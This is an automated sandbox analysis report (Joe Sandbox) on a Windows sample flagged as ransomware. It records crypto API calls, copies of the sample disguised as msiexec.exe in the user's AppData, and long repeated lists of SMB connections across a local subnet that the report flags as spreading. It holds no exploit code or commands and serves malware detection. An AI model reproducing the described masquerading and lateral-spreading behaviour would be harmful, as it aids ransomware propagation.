Analysis Report

Overview

General Information

Joe Sandbox Version:	22.0.0
Analysis ID:	553091
Start time:	14:11:01
Joe Sandbox Product:	Cloud
Start date:	11.05.2018
Overall analysis duration:	0h 14m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	GAygkOwh9t
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 7 x64 (Office 2003 SP3, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 41, Firefox 36)
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.evad.expl.spyw.troj.win@15/1083@9/100
HCA Information:	Successful, ratio: 100% Number of executed functions: 126 Number of non-executed functions: 161
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 75.8% (good quality ratio 37.9%) Quality average: 32.8% Quality standard deviation: 38%
Cookbook Comments:	Adjust boot time Correcting counters for adjusted boot time
Warnings:	Show All Exclude process from analysis (whitelisted): mscorsvw.exe, svchost.exe, WerFault.exe, WMIADAP.exe, dllhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryDirectoryFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadFile calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtWriteFile calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	100	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Contains functionality to modify the execution of threads in other processes

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely more UI automation may extend behavior

Sample is a service DLL but no service has been registered

Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook

Sample tries to load a library which is not present or installed on the analysis machine, adding the library might reveal more behavior

Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for submitted file

Show sources

Source: GAygkOwh9t

Avira: Label: TR/Ransom.xmaww

Multi AV Scanner detection for submitted file

Show sources

Source: GAygkOwh9t

virustotal: Detection: 45%

Perma Link

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01379780 EntryPoint,CryptAcquireContextA,CreateThread,WaitForMultipleObjects,	4_2_01379780
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136E7F0 CryptAcquireContextA,	4_2_0136E7F0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01379780 EntryPoint,CryptAcquireContextA,CreateThread,WaitForMultipleObjects,	4_1_01379780
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136E7F0 CryptAcquireContextA,	4_1_0136E7F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00399780 EntryPoint,CryptAcquireContextA,CreateThread,WaitForMultipleObjects,	5_2_00399780
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0038E7F0 CryptAcquireContextA,	5_2_0038E7F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018E7F0 CryptAcquireContextA,	6_2_0018E7F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00199780 EntryPoint,CryptAcquireContextA,CreateThread,WaitForMultipleObjects,	6_2_00199780
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FE7F0 CryptAcquireContextA,srand,	7_2_004FE7F0
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00509780 EntryPoint,CryptAcquireContextA,CreateThread,WaitForMultipleObjects,	7_2_00509780

Exploits:

Connects to many different private IPs (likely to spread or exploit)

Show sources

Source: global traffic	TCP traffic: 192.168.1.186:139
Source: global traffic	TCP traffic: 192.168.1.34:139
Source: global traffic	TCP traffic: 192.168.1.223:139
Source: global traffic	TCP traffic: 192.168.1.71:139
Source: global traffic	TCP traffic: 192.168.1.136:139
Source: global traffic	TCP traffic: 192.168.1.228:139
Source: global traffic	TCP traffic: 192.168.1.22:139
Source: global traffic	TCP traffic: 192.168.1.141:139
Source: global traffic	TCP traffic: 192.168.1.111:139
Source: global traffic	TCP traffic: 192.168.1.243:139
Source: global traffic	TCP traffic: 192.168.1.53:139
Source: global traffic	TCP traffic: 192.168.1.44:139
Source: global traffic	TCP traffic: 192.168.1.185:139
Source: global traffic	TCP traffic: 192.168.1.193:139
Source: global traffic	TCP traffic: 192.168.1.177:139
Source: global traffic	TCP traffic: 192.168.1.80:139
Source: global traffic	TCP traffic: 192.168.1.181:139
Source: global traffic	TCP traffic: 192.168.1.14:139
Source: global traffic	TCP traffic: 192.168.1.78:139
Source: global traffic	TCP traffic: 192.168.1.213:139
Source: global traffic	TCP traffic: 192.168.1.45:139
Source: global traffic	TCP traffic: 192.168.1.32:139
Source: global traffic	TCP traffic: 192.168.1.11:139
Source: global traffic	TCP traffic: 192.168.1.24:139
Source: global traffic	TCP traffic: 192.168.1.160:139
Source: global traffic	TCP traffic: 192.168.1.47:139
Source: global traffic	TCP traffic: 192.168.1.120:139
Source: global traffic	TCP traffic: 192.168.1.110:139
Source: global traffic	TCP traffic: 192.168.1.252:139
Source: global traffic	TCP traffic: 192.168.1.210:139
Source: global traffic	TCP traffic: 192.168.1.37:139
Source: global traffic	TCP traffic: 192.168.1.189:139
Source: global traffic	TCP traffic: 192.168.1.207:139
Source: global traffic	TCP traffic: 192.168.1.132:139
Source: global traffic	TCP traffic: 192.168.1.203:139
Source: global traffic	TCP traffic: 192.168.1.169:139
Source: global traffic	TCP traffic: 192.168.1.137:139
Source: global traffic	TCP traffic: 192.168.1.97:139
Source: global traffic	TCP traffic: 192.168.1.72:139
Source: global traffic	TCP traffic: 192.168.1.73:139
Source: global traffic	TCP traffic: 192.168.1.167:139
Source: global traffic	TCP traffic: 192.168.1.54:139
Source: global traffic	TCP traffic: 192.168.1.225:139
Source: global traffic	TCP traffic: 192.168.1.112:139
Source: global traffic	TCP traffic: 192.168.1.56:139
Source: global traffic	TCP traffic: 192.168.1.105:139
Source: global traffic	TCP traffic: 192.168.1.6:139
Source: global traffic	TCP traffic: 192.168.1.222:139
Source: global traffic	TCP traffic: 192.168.1.46:139
Source: global traffic	TCP traffic: 192.168.1.194:139
Source: global traffic	TCP traffic: 192.168.1.230:139
Source: global traffic	TCP traffic: 192.168.1.150:139
Source: global traffic	TCP traffic: 192.168.1.216:139
Source: global traffic	TCP traffic: 192.168.1.99:139
Source: global traffic	TCP traffic: 192.168.1.102:139
Source: global traffic	TCP traffic: 192.168.1.175:139
Source: global traffic	TCP traffic: 192.168.1.114:139
Source: global traffic	TCP traffic: 192.168.1.143:139
Source: global traffic	TCP traffic: 192.168.1.12:139
Source: global traffic	TCP traffic: 192.168.1.17:139
Source: global traffic	TCP traffic: 192.168.1.156:139
Source: global traffic	TCP traffic: 192.168.1.51:139
Source: global traffic	TCP traffic: 192.168.1.201:139
Source: global traffic	TCP traffic: 192.168.1.235:139
Source: global traffic	TCP traffic: 192.168.1.144:139
Source: global traffic	TCP traffic: 192.168.1.76:139
Source: global traffic	TCP traffic: 192.168.1.91:139
Source: global traffic	TCP traffic: 192.168.1.135:139
Source: global traffic	TCP traffic: 192.168.1.142:139
Source: global traffic	TCP traffic: 192.168.1.122:139
Source: global traffic	TCP traffic: 192.168.1.29:139
Source: global traffic	TCP traffic: 192.168.1.149:139
Source: global traffic	TCP traffic: 192.168.1.25:139
Source: global traffic	TCP traffic: 192.168.1.121:139
Source: global traffic	TCP traffic: 192.168.1.188:139
Source: global traffic	TCP traffic: 192.168.1.200:139
Source: global traffic	TCP traffic: 192.168.1.204:139
Source: global traffic	TCP traffic: 192.168.1.218:139
Source: global traffic	TCP traffic: 192.168.1.174:139
Source: global traffic	TCP traffic: 192.168.1.237:139
Source: global traffic	TCP traffic: 192.168.1.129:139
Source: global traffic	TCP traffic: 192.168.1.21:139
Source: global traffic	TCP traffic: 192.168.1.196:139
Source: global traffic	TCP traffic: 192.168.1.27:139
Source: global traffic	TCP traffic: 192.168.1.232:139
Source: global traffic	TCP traffic: 192.168.1.244:139
Source: global traffic	TCP traffic: 192.168.1.195:139
Source: global traffic	TCP traffic: 192.168.1.90:139
Source: global traffic	TCP traffic: 192.168.1.176:139
Source: global traffic	TCP traffic: 192.168.1.151:139
Source: global traffic	TCP traffic: 192.168.1.16:139
Source: global traffic	TCP traffic: 192.168.1.104:139
Source: global traffic	TCP traffic: 192.168.1.115:139
Source: global traffic	TCP traffic: 192.168.1.92:139
Source: global traffic	TCP traffic: 192.168.1.75:139
Source: global traffic	TCP traffic: 192.168.1.95:139
Source: global traffic	TCP traffic: 192.168.1.215:139
Source: global traffic	TCP traffic: 192.168.1.220:139
Source: global traffic	TCP traffic: 192.168.1.184:139
Source: global traffic	TCP traffic: 192.168.1.134:139
Source: global traffic	TCP traffic: 192.168.1.7:139
Source: global traffic	TCP traffic: 192.168.1.1:139
Source: global traffic	TCP traffic: 192.168.1.161:139
Source: global traffic	TCP traffic: 192.168.1.103:139
Source: global traffic	TCP traffic: 192.168.1.8:139
Source: global traffic	TCP traffic: 192.168.1.245:139
Source: global traffic	TCP traffic: 192.168.1.192:139
Source: global traffic	TCP traffic: 192.168.1.162:139
Source: global traffic	TCP traffic: 192.168.1.251:139
Source: global traffic	TCP traffic: 192.168.1.28:139
Source: global traffic	TCP traffic: 192.168.1.168:139
Source: global traffic	TCP traffic: 192.168.1.74:139
Source: global traffic	TCP traffic: 192.168.1.98:139
Source: global traffic	TCP traffic: 192.168.1.191:139
Source: global traffic	TCP traffic: 192.168.1.198:139
Source: global traffic	TCP traffic: 192.168.1.83:139
Source: global traffic	TCP traffic: 192.168.1.31:139
Source: global traffic	TCP traffic: 192.168.1.59:139
Source: global traffic	TCP traffic: 192.168.1.233:139
Source: global traffic	TCP traffic: 192.168.1.250:139
Source: global traffic	TCP traffic: 192.168.1.157:139
Source: global traffic	TCP traffic: 192.168.1.85:139
Source: global traffic	TCP traffic: 192.168.1.166:139
Source: global traffic	TCP traffic: 192.168.1.128:139
Source: global traffic	TCP traffic: 192.168.1.127:139
Source: global traffic	TCP traffic: 192.168.1.108:139
Source: global traffic	TCP traffic: 192.168.1.106:139
Source: global traffic	TCP traffic: 192.168.1.62:139
Source: global traffic	TCP traffic: 192.168.1.249:139
Source: global traffic	TCP traffic: 192.168.1.197:139
Source: global traffic	TCP traffic: 192.168.1.147:139
Source: global traffic	TCP traffic: 192.168.1.155:139
Source: global traffic	TCP traffic: 192.168.1.146:139
Source: global traffic	TCP traffic: 192.168.1.117:139
Source: global traffic	TCP traffic: 192.168.1.63:139
Source: global traffic	TCP traffic: 192.168.1.9:139
Source: global traffic	TCP traffic: 192.168.1.154:139
Source: global traffic	TCP traffic: 192.168.1.38:139
Source: global traffic	TCP traffic: 192.168.1.64:139
Source: global traffic	TCP traffic: 192.168.1.202:139
Source: global traffic	TCP traffic: 192.168.1.87:139
Source: global traffic	TCP traffic: 192.168.1.187:139
Source: global traffic	TCP traffic: 192.168.1.23:139
Source: global traffic	TCP traffic: 192.168.1.79:139
Source: global traffic	TCP traffic: 192.168.1.163:139
Source: global traffic	TCP traffic: 192.168.1.182:139
Source: global traffic	TCP traffic: 192.168.1.41:139
Source: global traffic	TCP traffic: 192.168.1.241:139
Source: global traffic	TCP traffic: 192.168.1.205:139
Source: global traffic	TCP traffic: 192.168.1.126:139
Source: global traffic	TCP traffic: 192.168.1.39:139
Source: global traffic	TCP traffic: 192.168.1.96:139
Source: global traffic	TCP traffic: 192.168.1.57:139
Source: global traffic	TCP traffic: 192.168.1.118:139
Source: global traffic	TCP traffic: 192.168.1.4:139
Source: global traffic	TCP traffic: 192.168.1.116:139
Source: global traffic	TCP traffic: 192.168.1.221:139
Source: global traffic	TCP traffic: 192.168.1.19:139
Source: global traffic	TCP traffic: 192.168.1.206:139
Source: global traffic	TCP traffic: 192.168.1.101:139
Source: global traffic	TCP traffic: 192.168.1.30:139
Source: global traffic	TCP traffic: 192.168.1.26:139
Source: global traffic	TCP traffic: 192.168.1.68:139
Source: global traffic	TCP traffic: 192.168.1.224:139
Source: global traffic	TCP traffic: 192.168.1.138:139
Source: global traffic	TCP traffic: 192.168.1.124:139
Source: global traffic	TCP traffic: 192.168.1.42:139
Source: global traffic	TCP traffic: 192.168.1.82:139
Source: global traffic	TCP traffic: 192.168.1.171:139
Source: global traffic	TCP traffic: 192.168.1.165:139
Source: global traffic	TCP traffic: 192.168.1.190:139
Source: global traffic	TCP traffic: 192.168.1.13:139
Source: global traffic	TCP traffic: 192.168.1.3:139
Source: global traffic	TCP traffic: 192.168.1.199:139
Source: global traffic	TCP traffic: 192.168.1.2:139
Source: global traffic	TCP traffic: 192.168.1.248:139
Source: global traffic	TCP traffic: 192.168.1.148:139
Source: global traffic	TCP traffic: 192.168.1.217:139
Source: global traffic	TCP traffic: 192.168.1.242:139
Source: global traffic	TCP traffic: 192.168.1.119:139
Source: global traffic	TCP traffic: 192.168.1.70:139
Source: global traffic	TCP traffic: 192.168.1.18:139
Source: global traffic	TCP traffic: 192.168.1.60:139
Source: global traffic	TCP traffic: 192.168.1.5:139
Source: global traffic	TCP traffic: 192.168.1.69:139
Source: global traffic	TCP traffic: 192.168.1.214:139
Source: global traffic	TCP traffic: 192.168.1.208:139
Source: global traffic	TCP traffic: 192.168.1.20:139
Source: global traffic	TCP traffic: 192.168.1.170:139
Source: global traffic	TCP traffic: 192.168.1.123:139
Source: global traffic	TCP traffic: 192.168.1.109:139
Source: global traffic	TCP traffic: 192.168.1.67:139
Source: global traffic	TCP traffic: 192.168.1.65:139
Source: global traffic	TCP traffic: 192.168.1.247:139
Source: global traffic	TCP traffic: 192.168.1.66:139
Source: global traffic	TCP traffic: 192.168.1.172:139
Source: global traffic	TCP traffic: 192.168.1.179:139
Source: global traffic	TCP traffic: 192.168.1.178:139
Source: global traffic	TCP traffic: 192.168.1.130:139
Source: global traffic	TCP traffic: 192.168.1.159:139
Source: global traffic	TCP traffic: 192.168.1.240:139
Source: global traffic	TCP traffic: 192.168.1.58:139
Source: global traffic	TCP traffic: 192.168.1.246:139
Source: global traffic	TCP traffic: 192.168.1.253:139
Source: global traffic	TCP traffic: 192.168.1.211:139
Source: global traffic	TCP traffic: 192.168.1.81:139
Source: global traffic	TCP traffic: 192.168.1.43:139
Source: global traffic	TCP traffic: 192.168.1.33:139
Source: global traffic	TCP traffic: 192.168.1.93:139
Source: global traffic	TCP traffic: 192.168.1.219:139
Source: global traffic	TCP traffic: 192.168.1.234:139
Source: global traffic	TCP traffic: 192.168.1.231:139
Source: global traffic	TCP traffic: 192.168.1.153:139
Source: global traffic	TCP traffic: 192.168.1.86:139
Source: global traffic	TCP traffic: 192.168.1.183:139
Source: global traffic	TCP traffic: 192.168.1.61:139
Source: global traffic	TCP traffic: 192.168.1.107:139
Source: global traffic	TCP traffic: 192.168.1.88:139
Source: global traffic	TCP traffic: 192.168.1.133:139
Source: global traffic	TCP traffic: 192.168.1.40:139
Source: global traffic	TCP traffic: 192.168.1.15:139
Source: global traffic	TCP traffic: 192.168.1.238:139
Source: global traffic	TCP traffic: 192.168.1.10:139
Source: global traffic	TCP traffic: 192.168.1.227:139
Source: global traffic	TCP traffic: 192.168.1.239:139
Source: global traffic	TCP traffic: 192.168.1.84:139
Source: global traffic	TCP traffic: 192.168.1.36:139
Source: global traffic	TCP traffic: 192.168.1.236:139
Source: global traffic	TCP traffic: 192.168.1.226:139
Source: global traffic	TCP traffic: 192.168.1.140:139
Source: global traffic	TCP traffic: 192.168.1.152:139
Source: global traffic	TCP traffic: 192.168.1.158:139
Source: global traffic	TCP traffic: 192.168.1.55:139
Source: global traffic	TCP traffic: 192.168.1.164:139
Source: global traffic	TCP traffic: 192.168.1.212:139
Source: global traffic	TCP traffic: 192.168.1.94:139
Source: global traffic	TCP traffic: 192.168.1.100:139
Source: global traffic	TCP traffic: 192.168.1.209:139
Source: global traffic	TCP traffic: 192.168.1.131:139
Source: global traffic	TCP traffic: 192.168.1.145:139
Source: global traffic	TCP traffic: 192.168.1.113:139
Source: global traffic	TCP traffic: 192.168.1.50:139
Source: global traffic	TCP traffic: 192.168.1.125:139
Source: global traffic	TCP traffic: 192.168.1.52:139
Source: global traffic	TCP traffic: 192.168.1.173:139
Source: global traffic	TCP traffic: 192.168.1.229:139
Source: global traffic	TCP traffic: 192.168.1.139:139
Source: global traffic	TCP traffic: 192.168.1.77:139
Source: global traffic	TCP traffic: 192.168.1.254:139
Source: global traffic	TCP traffic: 192.168.1.180:139
Source: global traffic	TCP traffic: 192.168.1.35:139
Source: global traffic	TCP traffic: 192.168.1.89:139
Source: global traffic	TCP traffic: 192.168.1.49:139
Source: global traffic	TCP traffic: 192.168.1.48:139

Connects to many different private IPs via SMB (likely to spread or exploit)

Show sources

Source: global traffic	TCP traffic: 192.168.1.186:139
Source: global traffic	TCP traffic: 192.168.1.34:139
Source: global traffic	TCP traffic: 192.168.1.223:139
Source: global traffic	TCP traffic: 192.168.1.71:139
Source: global traffic	TCP traffic: 192.168.1.136:139
Source: global traffic	TCP traffic: 192.168.1.228:139
Source: global traffic	TCP traffic: 192.168.1.22:139
Source: global traffic	TCP traffic: 192.168.1.141:139
Source: global traffic	TCP traffic: 192.168.1.111:139
Source: global traffic	TCP traffic: 192.168.1.243:139
Source: global traffic	TCP traffic: 192.168.1.53:139
Source: global traffic	TCP traffic: 192.168.1.44:139
Source: global traffic	TCP traffic: 192.168.1.185:139
Source: global traffic	TCP traffic: 192.168.1.193:139
Source: global traffic	TCP traffic: 192.168.1.177:139
Source: global traffic	TCP traffic: 192.168.1.80:139
Source: global traffic	TCP traffic: 192.168.1.181:139
Source: global traffic	TCP traffic: 192.168.1.14:139
Source: global traffic	TCP traffic: 192.168.1.78:139
Source: global traffic	TCP traffic: 192.168.1.213:139
Source: global traffic	TCP traffic: 192.168.1.45:139
Source: global traffic	TCP traffic: 192.168.1.32:139
Source: global traffic	TCP traffic: 192.168.1.11:139
Source: global traffic	TCP traffic: 192.168.1.24:139
Source: global traffic	TCP traffic: 192.168.1.160:139
Source: global traffic	TCP traffic: 192.168.1.47:139
Source: global traffic	TCP traffic: 192.168.1.120:139
Source: global traffic	TCP traffic: 192.168.1.110:139
Source: global traffic	TCP traffic: 192.168.1.252:139
Source: global traffic	TCP traffic: 192.168.1.210:139
Source: global traffic	TCP traffic: 192.168.1.37:139
Source: global traffic	TCP traffic: 192.168.1.189:139
Source: global traffic	TCP traffic: 192.168.1.207:139
Source: global traffic	TCP traffic: 192.168.1.132:139
Source: global traffic	TCP traffic: 192.168.1.203:139
Source: global traffic	TCP traffic: 192.168.1.169:139
Source: global traffic	TCP traffic: 192.168.1.137:139
Source: global traffic	TCP traffic: 192.168.1.97:139
Source: global traffic	TCP traffic: 192.168.1.72:139
Source: global traffic	TCP traffic: 192.168.1.73:139
Source: global traffic	TCP traffic: 192.168.1.167:139
Source: global traffic	TCP traffic: 192.168.1.54:139
Source: global traffic	TCP traffic: 192.168.1.225:139
Source: global traffic	TCP traffic: 192.168.1.112:139
Source: global traffic	TCP traffic: 192.168.1.56:139
Source: global traffic	TCP traffic: 192.168.1.105:139
Source: global traffic	TCP traffic: 192.168.1.6:139
Source: global traffic	TCP traffic: 192.168.1.222:139
Source: global traffic	TCP traffic: 192.168.1.46:139
Source: global traffic	TCP traffic: 192.168.1.194:139
Source: global traffic	TCP traffic: 192.168.1.230:139
Source: global traffic	TCP traffic: 192.168.1.150:139
Source: global traffic	TCP traffic: 192.168.1.216:139
Source: global traffic	TCP traffic: 192.168.1.99:139
Source: global traffic	TCP traffic: 192.168.1.102:139
Source: global traffic	TCP traffic: 192.168.1.175:139
Source: global traffic	TCP traffic: 192.168.1.114:139
Source: global traffic	TCP traffic: 192.168.1.143:139
Source: global traffic	TCP traffic: 192.168.1.12:139
Source: global traffic	TCP traffic: 192.168.1.17:139
Source: global traffic	TCP traffic: 192.168.1.156:139
Source: global traffic	TCP traffic: 192.168.1.51:139
Source: global traffic	TCP traffic: 192.168.1.201:139
Source: global traffic	TCP traffic: 192.168.1.235:139
Source: global traffic	TCP traffic: 192.168.1.144:139
Source: global traffic	TCP traffic: 192.168.1.76:139
Source: global traffic	TCP traffic: 192.168.1.91:139
Source: global traffic	TCP traffic: 192.168.1.135:139
Source: global traffic	TCP traffic: 192.168.1.142:139
Source: global traffic	TCP traffic: 192.168.1.122:139
Source: global traffic	TCP traffic: 192.168.1.29:139
Source: global traffic	TCP traffic: 192.168.1.149:139
Source: global traffic	TCP traffic: 192.168.1.25:139
Source: global traffic	TCP traffic: 192.168.1.121:139
Source: global traffic	TCP traffic: 192.168.1.188:139
Source: global traffic	TCP traffic: 192.168.1.200:139
Source: global traffic	TCP traffic: 192.168.1.204:139
Source: global traffic	TCP traffic: 192.168.1.218:139
Source: global traffic	TCP traffic: 192.168.1.174:139
Source: global traffic	TCP traffic: 192.168.1.237:139
Source: global traffic	TCP traffic: 192.168.1.129:139
Source: global traffic	TCP traffic: 192.168.1.21:139
Source: global traffic	TCP traffic: 192.168.1.196:139
Source: global traffic	TCP traffic: 192.168.1.27:139
Source: global traffic	TCP traffic: 192.168.1.232:139
Source: global traffic	TCP traffic: 192.168.1.244:139
Source: global traffic	TCP traffic: 192.168.1.195:139
Source: global traffic	TCP traffic: 192.168.1.90:139
Source: global traffic	TCP traffic: 192.168.1.176:139
Source: global traffic	TCP traffic: 192.168.1.151:139
Source: global traffic	TCP traffic: 192.168.1.16:139
Source: global traffic	TCP traffic: 192.168.1.104:139
Source: global traffic	TCP traffic: 192.168.1.115:139
Source: global traffic	TCP traffic: 192.168.1.92:139
Source: global traffic	TCP traffic: 192.168.1.75:139
Source: global traffic	TCP traffic: 192.168.1.95:139
Source: global traffic	TCP traffic: 192.168.1.215:139
Source: global traffic	TCP traffic: 192.168.1.220:139
Source: global traffic	TCP traffic: 192.168.1.184:139
Source: global traffic	TCP traffic: 192.168.1.134:139
Source: global traffic	TCP traffic: 192.168.1.7:139
Source: global traffic	TCP traffic: 192.168.1.1:139
Source: global traffic	TCP traffic: 192.168.1.161:139
Source: global traffic	TCP traffic: 192.168.1.103:139
Source: global traffic	TCP traffic: 192.168.1.8:139
Source: global traffic	TCP traffic: 192.168.1.245:139
Source: global traffic	TCP traffic: 192.168.1.192:139
Source: global traffic	TCP traffic: 192.168.1.162:139
Source: global traffic	TCP traffic: 192.168.1.251:139
Source: global traffic	TCP traffic: 192.168.1.28:139
Source: global traffic	TCP traffic: 192.168.1.168:139
Source: global traffic	TCP traffic: 192.168.1.74:139
Source: global traffic	TCP traffic: 192.168.1.98:139
Source: global traffic	TCP traffic: 192.168.1.191:139
Source: global traffic	TCP traffic: 192.168.1.198:139
Source: global traffic	TCP traffic: 192.168.1.83:139
Source: global traffic	TCP traffic: 192.168.1.31:139
Source: global traffic	TCP traffic: 192.168.1.59:139
Source: global traffic	TCP traffic: 192.168.1.233:139
Source: global traffic	TCP traffic: 192.168.1.250:139
Source: global traffic	TCP traffic: 192.168.1.157:139
Source: global traffic	TCP traffic: 192.168.1.85:139
Source: global traffic	TCP traffic: 192.168.1.166:139
Source: global traffic	TCP traffic: 192.168.1.128:139
Source: global traffic	TCP traffic: 192.168.1.127:139
Source: global traffic	TCP traffic: 192.168.1.108:139
Source: global traffic	TCP traffic: 192.168.1.106:139
Source: global traffic	TCP traffic: 192.168.1.62:139
Source: global traffic	TCP traffic: 192.168.1.249:139
Source: global traffic	TCP traffic: 192.168.1.197:139
Source: global traffic	TCP traffic: 192.168.1.147:139
Source: global traffic	TCP traffic: 192.168.1.155:139
Source: global traffic	TCP traffic: 192.168.1.146:139
Source: global traffic	TCP traffic: 192.168.1.117:139
Source: global traffic	TCP traffic: 192.168.1.63:139
Source: global traffic	TCP traffic: 192.168.1.9:139
Source: global traffic	TCP traffic: 192.168.1.154:139
Source: global traffic	TCP traffic: 192.168.1.38:139
Source: global traffic	TCP traffic: 192.168.1.64:139
Source: global traffic	TCP traffic: 192.168.1.202:139
Source: global traffic	TCP traffic: 192.168.1.87:139
Source: global traffic	TCP traffic: 192.168.1.187:139
Source: global traffic	TCP traffic: 192.168.1.23:139
Source: global traffic	TCP traffic: 192.168.1.79:139
Source: global traffic	TCP traffic: 192.168.1.163:139
Source: global traffic	TCP traffic: 192.168.1.182:139
Source: global traffic	TCP traffic: 192.168.1.41:139
Source: global traffic	TCP traffic: 192.168.1.241:139
Source: global traffic	TCP traffic: 192.168.1.205:139
Source: global traffic	TCP traffic: 192.168.1.126:139
Source: global traffic	TCP traffic: 192.168.1.39:139
Source: global traffic	TCP traffic: 192.168.1.96:139
Source: global traffic	TCP traffic: 192.168.1.57:139
Source: global traffic	TCP traffic: 192.168.1.118:139
Source: global traffic	TCP traffic: 192.168.1.4:139
Source: global traffic	TCP traffic: 192.168.1.116:139
Source: global traffic	TCP traffic: 192.168.1.221:139
Source: global traffic	TCP traffic: 192.168.1.19:139
Source: global traffic	TCP traffic: 192.168.1.206:139
Source: global traffic	TCP traffic: 192.168.1.101:139
Source: global traffic	TCP traffic: 192.168.1.30:139
Source: global traffic	TCP traffic: 192.168.1.26:139
Source: global traffic	TCP traffic: 192.168.1.68:139
Source: global traffic	TCP traffic: 192.168.1.224:139
Source: global traffic	TCP traffic: 192.168.1.138:139
Source: global traffic	TCP traffic: 192.168.1.124:139
Source: global traffic	TCP traffic: 192.168.1.42:139
Source: global traffic	TCP traffic: 192.168.1.82:139
Source: global traffic	TCP traffic: 192.168.1.171:139
Source: global traffic	TCP traffic: 192.168.1.165:139
Source: global traffic	TCP traffic: 192.168.1.190:139
Source: global traffic	TCP traffic: 192.168.1.13:139
Source: global traffic	TCP traffic: 192.168.1.3:139
Source: global traffic	TCP traffic: 192.168.1.199:139
Source: global traffic	TCP traffic: 192.168.1.2:139
Source: global traffic	TCP traffic: 192.168.1.248:139
Source: global traffic	TCP traffic: 192.168.1.148:139
Source: global traffic	TCP traffic: 192.168.1.217:139
Source: global traffic	TCP traffic: 192.168.1.242:139
Source: global traffic	TCP traffic: 192.168.1.119:139
Source: global traffic	TCP traffic: 192.168.1.70:139
Source: global traffic	TCP traffic: 192.168.1.18:139
Source: global traffic	TCP traffic: 192.168.1.60:139
Source: global traffic	TCP traffic: 192.168.1.5:139
Source: global traffic	TCP traffic: 192.168.1.69:139
Source: global traffic	TCP traffic: 192.168.1.214:139
Source: global traffic	TCP traffic: 192.168.1.208:139
Source: global traffic	TCP traffic: 192.168.1.20:139
Source: global traffic	TCP traffic: 192.168.1.170:139
Source: global traffic	TCP traffic: 192.168.1.123:139
Source: global traffic	TCP traffic: 192.168.1.109:139
Source: global traffic	TCP traffic: 192.168.1.67:139
Source: global traffic	TCP traffic: 192.168.1.65:139
Source: global traffic	TCP traffic: 192.168.1.247:139
Source: global traffic	TCP traffic: 192.168.1.66:139
Source: global traffic	TCP traffic: 192.168.1.172:139
Source: global traffic	TCP traffic: 192.168.1.179:139
Source: global traffic	TCP traffic: 192.168.1.178:139
Source: global traffic	TCP traffic: 192.168.1.130:139
Source: global traffic	TCP traffic: 192.168.1.159:139
Source: global traffic	TCP traffic: 192.168.1.240:139
Source: global traffic	TCP traffic: 192.168.1.58:139
Source: global traffic	TCP traffic: 192.168.1.246:139
Source: global traffic	TCP traffic: 192.168.1.253:139
Source: global traffic	TCP traffic: 192.168.1.211:139
Source: global traffic	TCP traffic: 192.168.1.81:139
Source: global traffic	TCP traffic: 192.168.1.43:139
Source: global traffic	TCP traffic: 192.168.1.33:139
Source: global traffic	TCP traffic: 192.168.1.93:139
Source: global traffic	TCP traffic: 192.168.1.219:139
Source: global traffic	TCP traffic: 192.168.1.234:139
Source: global traffic	TCP traffic: 192.168.1.231:139
Source: global traffic	TCP traffic: 192.168.1.153:139
Source: global traffic	TCP traffic: 192.168.1.86:139
Source: global traffic	TCP traffic: 192.168.1.183:139
Source: global traffic	TCP traffic: 192.168.1.61:139
Source: global traffic	TCP traffic: 192.168.1.107:139
Source: global traffic	TCP traffic: 192.168.1.88:139
Source: global traffic	TCP traffic: 192.168.1.133:139
Source: global traffic	TCP traffic: 192.168.1.40:139
Source: global traffic	TCP traffic: 192.168.1.15:139
Source: global traffic	TCP traffic: 192.168.1.238:139
Source: global traffic	TCP traffic: 192.168.1.10:139
Source: global traffic	TCP traffic: 192.168.1.227:139
Source: global traffic	TCP traffic: 192.168.1.239:139
Source: global traffic	TCP traffic: 192.168.1.84:139
Source: global traffic	TCP traffic: 192.168.1.36:139
Source: global traffic	TCP traffic: 192.168.1.236:139
Source: global traffic	TCP traffic: 192.168.1.226:139
Source: global traffic	TCP traffic: 192.168.1.140:139
Source: global traffic	TCP traffic: 192.168.1.152:139
Source: global traffic	TCP traffic: 192.168.1.158:139
Source: global traffic	TCP traffic: 192.168.1.55:139
Source: global traffic	TCP traffic: 192.168.1.164:139
Source: global traffic	TCP traffic: 192.168.1.212:139
